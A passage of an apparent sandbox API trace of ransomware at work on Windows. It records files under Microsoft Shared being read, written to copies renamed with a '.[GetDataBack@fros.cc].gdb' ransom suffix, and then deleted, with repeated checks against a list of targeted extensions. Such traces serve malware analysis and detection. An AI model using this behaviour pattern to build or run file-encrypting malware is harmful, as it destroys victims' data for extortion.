Shared\\Filters\\msgfilt.dll.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\msgfilt.dll.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0131.646] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\msgfilt.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0131.646] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fd70 | out: lpNewFilePointer=0x0) returned 1 [0131.646] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fd70 | out: lpNewFilePointer=0x0) returned 1 [0131.646] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\msgfilt.dll.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0131.752] GetLastError () returned 0x0 [0131.752] ReadFile (in: hFile=0x1d4, lpBuffer=0x3670020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x307fd7c, lpOverlapped=0x0 | out: lpBuffer=0x3670020*, lpNumberOfBytesRead=0x307fd7c*=0x9770, lpOverlapped=0x0) returned 1 [0131.754] WriteFile (in: hFile=0x214, lpBuffer=0x3670020*, nNumberOfBytesToWrite=0x9780, lpNumberOfBytesWritten=0x307fb44, lpOverlapped=0x0 | out: lpBuffer=0x3670020*, lpNumberOfBytesWritten=0x307fb44*=0x9780, lpOverlapped=0x0) returned 1 [0131.755] ReadFile (in: hFile=0x1d4, lpBuffer=0x3670020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x307fd7c, lpOverlapped=0x0 | out: lpBuffer=0x3670020*, lpNumberOfBytesRead=0x307fd7c*=0x0, lpOverlapped=0x0) returned 1 [0131.755] WriteFile (in: hFile=0x214, lpBuffer=0x3670020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x307fb44, lpOverlapped=0x0 | out: lpBuffer=0x3670020*, lpNumberOfBytesWritten=0x307fb44*=0xea, lpOverlapped=0x0) returned 1 [0131.755] SetEndOfFile (hFile=0x214) returned 1 [0131.756] CloseHandle (hObject=0x214) returned 1 [0131.756] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fd70 | out: lpNewFilePointer=0x0) returned 1 [0131.756] SetEndOfFile (hFile=0x1d4) returned 1 [0131.757] CloseHandle (hObject=0x1d4) returned 1 [0131.757] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0131.757] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\msgfilt.dll")) returned 1 [0131.757] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0131.757] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0131.757] lstrlenW (lpString=".doc") returned 4 [0131.757] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0131.757] lstrlenW (lpString=".docx") returned 5 [0131.757] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0131.757] lstrlenW (lpString=".pdf") returned 4 [0131.757] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0131.757] lstrlenW (lpString=".xls") returned 4 [0131.757] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0131.757] lstrlenW (lpString=".xlsx") returned 5 [0131.757] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0131.757] lstrlenW (lpString=".ppt") returned 4 [0131.757] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0131.757] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0131.757] lstrlenW (lpString=".zip") returned 4 [0131.757] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0131.758] lstrlenW (lpString=".rar") returned 4 [0131.758] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0131.758] lstrlenW (lpString=".bz2") returned 4 [0131.758] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0131.758] lstrlenW (lpString=".7z") returned 3 [0131.758] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0131.758] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0131.758] lstrlenW (lpString=".dbf") returned 4 [0131.758] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0131.758] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0131.758] lstrlenW (lpString=".1cd") returned 4 [0131.758] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0131.758] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0131.758] lstrlenW (lpString=".jpg") returned 4 [0131.758] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0131.758] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0131.758] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0131.758] lstrlenW (lpString=".doc") returned 4 [0131.758] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0131.758] lstrlenW (lpString=".docx") returned 5 [0131.758] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0131.758] lstrlenW (lpString=".pdf") returned 4 [0131.758] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0131.758] lstrlenW (lpString=".xls") returned 4 [0131.758] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0131.758] lstrlenW (lpString=".xlsx") returned 5 [0131.758] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0131.758] lstrlenW (lpString=".ppt") returned 4 [0131.758] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0131.758] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0131.758] lstrlenW (lpString=".zip") returned 4 [0131.758] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0131.758] lstrlenW (lpString=".rar") returned 4 [0131.758] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0131.758] lstrlenW (lpString=".bz2") returned 4 [0131.758] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0131.758] lstrlenW (lpString=".7z") returned 3 [0131.758] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0131.759] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0131.759] lstrlenW (lpString=".dbf") returned 4 [0131.759] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0131.759] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0131.759] lstrlenW (lpString=".1cd") returned 4 [0131.759] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0131.759] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0131.759] lstrlenW (lpString=".jpg") returned 4 [0131.759] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0131.759] lstrcmpiW (lpString1=".dll", lpString2=".gdb") returned -1 [0131.759] lstrlenW (lpString="odffilt.dll") returned 11 [0131.759] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\odffilt.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0131.760] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x307fdc4 | out: lpFileSize=0x307fdc4*=1312656) returned 1 [0131.760] CloseHandle (hObject=0x1d4) returned 1 [0131.760] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\odffilt.dll")) returned 0x20 [0131.760] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\odffilt.dll.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0131.760] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\odffilt.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0131.760] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fd70 | out: lpNewFilePointer=0x0) returned 1 [0131.760] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fd70 | out: lpNewFilePointer=0x0) returned 1 [0131.760] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\odffilt.dll.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0131.761] GetLastError () returned 0x0 [0131.761] ReadFile (in: hFile=0x1d4, lpBuffer=0x3670020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x307fd7c, lpOverlapped=0x0 | out: lpBuffer=0x3670020*, lpNumberOfBytesRead=0x307fd7c*=0xffff0, lpOverlapped=0x0) returned 1 [0131.781] WriteFile (in: hFile=0x214, lpBuffer=0x3670020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x307fb44, lpOverlapped=0x0 | out: lpBuffer=0x3670020*, lpNumberOfBytesWritten=0x307fb44*=0xffff0, lpOverlapped=0x0) returned 1 [0131.917] ReadFile (in: hFile=0x1d4, lpBuffer=0x3670020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x307fd7c, lpOverlapped=0x0 | out: lpBuffer=0x3670020*, lpNumberOfBytesRead=0x307fd7c*=0x407a0, lpOverlapped=0x0) returned 1 [0131.927] WriteFile (in: hFile=0x214, lpBuffer=0x3670020*, nNumberOfBytesToWrite=0x407b0, lpNumberOfBytesWritten=0x307fb44, lpOverlapped=0x0 | out: lpBuffer=0x3670020*, lpNumberOfBytesWritten=0x307fb44*=0x407b0, lpOverlapped=0x0) returned 1 [0131.935] ReadFile (in: hFile=0x1d4, lpBuffer=0x3670020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x307fd7c, lpOverlapped=0x0 | out: lpBuffer=0x3670020*, lpNumberOfBytesRead=0x307fd7c*=0x0, lpOverlapped=0x0) returned 1 [0131.935] WriteFile (in: hFile=0x214, lpBuffer=0x3670020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x307fb44, lpOverlapped=0x0 | out: lpBuffer=0x3670020*, lpNumberOfBytesWritten=0x307fb44*=0xea, lpOverlapped=0x0) returned 1 [0131.935] SetEndOfFile (hFile=0x214) returned 1 [0131.935] CloseHandle (hObject=0x214) returned 1 [0131.935] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fd70 | out: lpNewFilePointer=0x0) returned 1 [0131.935] SetEndOfFile (hFile=0x1d4) returned 1 [0131.938] CloseHandle (hObject=0x1d4) returned 1 [0131.938] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0131.938] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\odffilt.dll")) returned 1 [0131.938] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll") returned 66 [0131.938] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll") returned 66 [0131.938] lstrlenW (lpString=".doc") returned 4 [0131.939] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0131.939] lstrlenW (lpString=".docx") returned 5 [0131.939] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0131.939] lstrlenW (lpString=".pdf") returned 4 [0131.939] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0131.939] lstrlenW (lpString=".xls") returned 4 [0131.939] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0131.939] lstrlenW (lpString=".xlsx") returned 5 [0131.939] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0131.939] lstrlenW (lpString=".ppt") returned 4 [0131.939] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0131.939] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll") returned 66 [0131.939] lstrlenW (lpString=".zip") returned 4 [0131.939] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0131.939] lstrlenW (lpString=".rar") returned 4 [0131.939] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0131.939] lstrlenW (lpString=".bz2") returned 4 [0131.939] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0131.939] lstrlenW (lpString=".7z") returned 3 [0131.939] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0131.939] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll") returned 66 [0131.939] lstrlenW (lpString=".dbf") returned 4 [0131.939] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0131.940] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll") returned 66 [0131.940] lstrlenW (lpString=".1cd") returned 4 [0131.940] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0131.940] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll") returned 66 [0131.940] lstrlenW (lpString=".jpg") returned 4 [0131.940] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0131.940] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll") returned 66 [0131.940] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll") returned 66 [0131.940] lstrlenW (lpString=".doc") returned 4 [0131.940] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0131.940] lstrlenW (lpString=".docx") returned 5 [0131.940] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0131.940] lstrlenW (lpString=".pdf") returned 4 [0131.940] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0131.940] lstrlenW (lpString=".xls") returned 4 [0131.940] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0131.940] lstrlenW (lpString=".xlsx") returned 5 [0131.940] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0131.940] lstrlenW (lpString=".ppt") returned 4 [0131.940] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0131.940] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll") returned 66 [0131.940] lstrlenW (lpString=".zip") returned 4 [0131.940] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0131.940] lstrlenW (lpString=".rar") returned 4 [0131.940] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0131.940] lstrlenW (lpString=".bz2") returned 4 [0131.940] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0131.940] lstrlenW (lpString=".7z") returned 3 [0131.940] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0131.940] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll") returned 66 [0131.940] lstrlenW (lpString=".dbf") returned 4 [0131.940] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0131.940] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll") returned 66 [0131.940] lstrlenW (lpString=".1cd") returned 4 [0131.940] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0131.940] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll") returned 66 [0131.940] lstrlenW (lpString=".jpg") returned 4 [0131.940] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0131.940] lstrcmpiW (lpString1=".dll", lpString2=".gdb") returned -1 [0131.941] lstrlenW (lpString="offfiltx.dll") returned 12 [0131.941] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\offfiltx.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0132.122] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x307fdc4 | out: lpFileSize=0x307fdc4*=1486736) returned 1 [0132.122] CloseHandle (hObject=0x1fc) returned 1 [0132.122] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\offfiltx.dll")) returned 0x20 [0132.122] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\offfiltx.dll.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0132.122] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\offfiltx.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0132.122] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fd70 | out: lpNewFilePointer=0x0) returned 1 [0132.123] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fd70 | out: lpNewFilePointer=0x0) returned 1 [0132.123] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\offfiltx.dll.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0132.123] GetLastError () returned 0x0 [0132.123] ReadFile (in: hFile=0x1fc, lpBuffer=0x3670020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x307fd7c, lpOverlapped=0x0 | out: lpBuffer=0x3670020*, lpNumberOfBytesRead=0x307fd7c*=0xffff0, lpOverlapped=0x0) returned 1 [0132.263] WriteFile (in: hFile=0x1b0, lpBuffer=0x3670020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x307fb44, lpOverlapped=0x0 | out: lpBuffer=0x3670020*, lpNumberOfBytesWritten=0x307fb44*=0xffff0, lpOverlapped=0x0) returned 1 [0132.277] ReadFile (in: hFile=0x1fc, lpBuffer=0x3670020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x307fd7c, lpOverlapped=0x0 | out: lpBuffer=0x3670020*, lpNumberOfBytesRead=0x307fd7c*=0x6afa0, lpOverlapped=0x0) returned 1 [0132.289] WriteFile (in: hFile=0x1b0, lpBuffer=0x3670020*, nNumberOfBytesToWrite=0x6afb0, lpNumberOfBytesWritten=0x307fb44, lpOverlapped=0x0 | out: lpBuffer=0x3670020*, lpNumberOfBytesWritten=0x307fb44*=0x6afb0, lpOverlapped=0x0) returned 1 [0132.338] ReadFile (in: hFile=0x1fc, lpBuffer=0x3670020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x307fd7c, lpOverlapped=0x0 | out: lpBuffer=0x3670020*, lpNumberOfBytesRead=0x307fd7c*=0x0, lpOverlapped=0x0) returned 1 [0132.338] WriteFile (in: hFile=0x1b0, lpBuffer=0x3670020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x307fb44, lpOverlapped=0x0 | out: lpBuffer=0x3670020*, lpNumberOfBytesWritten=0x307fb44*=0xec, lpOverlapped=0x0) returned 1 [0132.338] SetEndOfFile (hFile=0x1b0) returned 1 [0132.338] CloseHandle (hObject=0x1b0) returned 1 [0132.339] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fd70 | out: lpNewFilePointer=0x0) returned 1 [0132.339] SetEndOfFile (hFile=0x1fc) returned 1 [0132.342] CloseHandle (hObject=0x1fc) returned 1 [0132.342] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0132.343] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\offfiltx.dll")) returned 1 [0132.343] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll") returned 67 [0132.343] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll") returned 67 [0132.343] lstrlenW (lpString=".doc") returned 4 [0132.343] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0132.343] lstrlenW (lpString=".docx") returned 5 [0132.343] lstrcmpiW (lpString1=".docx", lpString2="x.dll") returned -1 [0132.343] lstrlenW (lpString=".pdf") returned 4 [0132.343] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0132.343] lstrlenW (lpString=".xls") returned 4 [0132.343] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0132.343] lstrlenW (lpString=".xlsx") returned 5 [0132.343] lstrcmpiW (lpString1=".xlsx", lpString2="x.dll") returned -1 [0132.343] lstrlenW (lpString=".ppt") returned 4 [0132.343] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0132.343] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll") returned 67 [0132.343] lstrlenW (lpString=".zip") returned 4 [0132.343] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0132.343] lstrlenW (lpString=".rar") returned 4 [0132.343] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0132.343] lstrlenW (lpString=".bz2") returned 4 [0132.343] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0132.343] lstrlenW (lpString=".7z") returned 3 [0132.343] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0132.343] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll") returned 67 [0132.343] lstrlenW (lpString=".dbf") returned 4 [0132.343] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0132.343] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll") returned 67 [0132.343] lstrlenW (lpString=".1cd") returned 4 [0132.344] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0132.344] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll") returned 67 [0132.344] lstrlenW (lpString=".jpg") returned 4 [0132.344] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0132.344] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll") returned 67 [0132.344] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll") returned 67 [0132.344] lstrlenW (lpString=".doc") returned 4 [0132.344] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0132.344] lstrlenW (lpString=".docx") returned 5 [0132.344] lstrcmpiW (lpString1=".docx", lpString2="x.dll") returned -1 [0132.344] lstrlenW (lpString=".pdf") returned 4 [0132.344] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0132.344] lstrlenW (lpString=".xls") returned 4 [0132.344] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0132.344] lstrlenW (lpString=".xlsx") returned 5 [0132.344] lstrcmpiW (lpString1=".xlsx", lpString2="x.dll") returned -1 [0132.344] lstrlenW (lpString=".ppt") returned 4 [0132.344] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0132.344] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll") returned 67 [0132.344] lstrlenW (lpString=".zip") returned 4 [0132.344] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0132.344] lstrlenW (lpString=".rar") returned 4 [0132.344] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0132.344] lstrlenW (lpString=".bz2") returned 4 [0132.344] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0132.344] lstrlenW (lpString=".7z") returned 3 [0132.344] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0132.344] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll") returned 67 [0132.344] lstrlenW (lpString=".dbf") returned 4 [0132.344] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0132.344] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll") returned 67 [0132.344] lstrlenW (lpString=".1cd") returned 4 [0132.344] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0132.344] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll") returned 67 [0132.344] lstrlenW (lpString=".jpg") returned 4 [0132.344] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0132.344] lstrcmpiW (lpString1=".CGM", lpString2=".gdb") returned -1 [0132.344] lstrlenW (lpString="MS.CGM") returned 6 [0132.344] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.cgm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0132.374] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x307fdc4 | out: lpFileSize=0x307fdc4*=1908) returned 1 [0132.374] CloseHandle (hObject=0x204) returned 1 [0132.374] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.cgm")) returned 0x20 [0132.374] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.cgm.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0132.374] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.cgm"), 